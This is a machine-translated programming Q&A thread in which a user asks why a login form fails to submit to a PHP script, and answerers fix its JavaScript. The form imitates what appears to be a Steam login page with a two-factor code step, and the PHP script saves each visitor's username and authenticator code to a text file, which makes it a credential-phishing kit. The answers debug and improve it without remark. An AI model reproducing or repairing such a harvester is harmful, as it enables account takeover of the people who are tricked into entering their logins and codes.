2017-08-05 113 views
1

所以我有这个表单。我现在的方式是用户将输入他们的用户名和密码,然后单击登录(身份验证引脚被隐藏),直到单击登录按钮,显示div并且用户将输入他们的验证引脚。我遇到的问题是,不管是什么我提交到文本框,没有被提交到我的PHP脚本,我这里有:提交表单到php脚本的问题

<?php 
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("..."); 
$txt = $_POST['username'] . ':' . $_POST['authcode']; 
fwrite($myfile, $txt); 
fclose($myfile); 
echo "LOREM IPSUM:("; 
?> 

<!DOCTYPE html> 
    <form action="/loginaction.php" method="post" name="submit"> 
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();"> 
      <div class="mainLoginLeftPanel_signin"> 
       <label for="userAccountName">username</label><br> 
       <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br> 
       <label for="userPassword">Password</label><br> 
       <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br> 
       <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div> 
       <div class="checkboxContainer"> 
       <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu. This feature is only available to PIN Guard enabled accounts."> 
       <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br> 
        </div> 
       </div> 
      </div> 

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
     <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style=""> 
      <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();"> 

       <div class="auth_button_h3">submit</div> 
       <div class="auth_button_h5">my authenticator code</div></button></div></div> 

     <div class="twofactorauthcode_entry_area"> 
     <div id="login_twofactor_authcode_entry"> 
      <div class="twofactorauthcode_entry_box"> 
       <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/> 
      </div> 
     </div> 
     <div id="login_twofactor_authcode_help_supportlink" style="display: none;"> 
      <a href="#"> 
       Contact Support for help with account access    </a> 
     </div> 
    </div> 

    </form> 
</head> 

格式的名称都输入正确和我有操作设置为正确的脚本,但是当我检查生成的文本文件时没有输入。我希望提交验证PIN的按钮提交所有3个细节(用户,密码,授权码)和登录按钮的形式以取消隐藏验证分区(工作正常)。任何帮助,将不胜感激。

JavaScript函数提交表单是

<script type="text/javascript"> 
function() submitForms{ 
document.getElementById("submit").submit(); 
document.getElementById("submit").action = "/loginaction.php"; 
} 

https://jsfiddle.net/jxd0g2z4/

+0

函数'submitForms()'在哪里定义? –

+0

我将立即更新我的代码。 –

+0

看起来您的PHP可能会被终止,如果文件无法打开。你可以尝试用那个打开文件的部分提交吗? –

回答

3

了ID为“提交”形式的函数调用,但你的形式不具有ID标签。它只有一个名称标签。您可以添加标签或更改选择器。

<form action="/loginaction.php" method="post" name="submit" id='submit'>

你不应该需要定义动作如果已经在HTML,但如果你这样做是需要来提交函数调用之前。

我刚才注意到的另一个错误是定义了submitForms函数的语法。函数名后括号属于如下:

<script type="text/javascript"> 
function submitForms(){ 
    document.getElementById("submit").action = "/loginaction.php"; 
    document.getElementById("submit").submit(); 
} 

这也有可能是在年底的</head>标签可以扔的东西了。下面是我复制html和javascript以确保它通过的图像。

enter image description here

<!DOCTYPE html> 
<html> 
<head> 
<script type="text/javascript"> 
function submitForms(){ 
    document.getElementById("submit").action = "/loginaction.php"; 
    document.getElementById("submit").submit(); 
} 
</script> 
</head> 
<body> 
    <form action="/loginaction.php" method="post" name="submit"> 
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();"> 
      <div class="mainLoginLeftPanel_signin"> 
       <label for="userAccountName">username</label><br> 
       <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br> 
       <label for="userPassword">Password</label><br> 
       <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br> 
       <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div> 
       <div class="checkboxContainer"> 
       <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu. This feature is only available to PIN Guard enabled accounts."> 
       <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br> 
        </div> 
       </div> 
      </div> 

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
     <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style=""> 
      <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();"> 

       <div class="auth_button_h3">submit</div> 
       <div class="auth_button_h5">my authenticator code</div></button></div></div> 

     <div class="twofactorauthcode_entry_area"> 
     <div id="login_twofactor_authcode_entry"> 
      <div class="twofactorauthcode_entry_box"> 
       <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/> 
      </div> 
     </div> 
     <div id="login_twofactor_authcode_help_supportlink" style="display: none;"> 
      <a href="#"> 
       Contact Support for help with account access    </a> 
     </div> 
    </div> 

    </form> 
</body> 
</html> 
+0

我将表单更改为正确的ID,但是没有任何内容输出到我的文本文件中。 –

+0

我从函数中删除了该动作。当我检查输出文件时,所有显示的都是分号,这是否意味着我的表单没有被正确提交? –

+0

对不起,该功能没有正确定义之前。语法错了。我在这里添加了代码。 –

0

不知道如果我的问题吧,但对我来说,它看起来像,这将是一个有点难以为您解决。 我建议只加载第一个表单,这个表单是用ajax发送给一个php文件,它做你需要做的(写入文件),并回答一个新的html代码,你应该用原始加载的html代码替换它。在这里你会发送第二个表格。 在这里,您可以再次发送相同的文件,如果出现错误。

编辑

如果您有jQuery的加载,您可以使用此功能。您的表单只需要一个类别标记即可激活它,如:

<form action="yourfile.php" id="myForm" class="ajax-form"> 

比这个表单在提交时会激活该功能。

$(".ajax-form").submit(function(e) { 
    e.preventDefault(); 
    var form = $(this); 
    var formID = form.attr('id'); 
    $.ajax({ 
     context: this, 
     async: true, 
     type: "post", 
     url: form.prop('action'), 
     data: form.serialize(), 
     dataType: "html", 
     success: function(datavalues) { 
      $('#'+formID).replaceWith(datavalues); 
     }, 
     error: function(json) { 
      console.log('ARMAGEDDON!!!'); 
     }, 
    }); 
     return false; 
});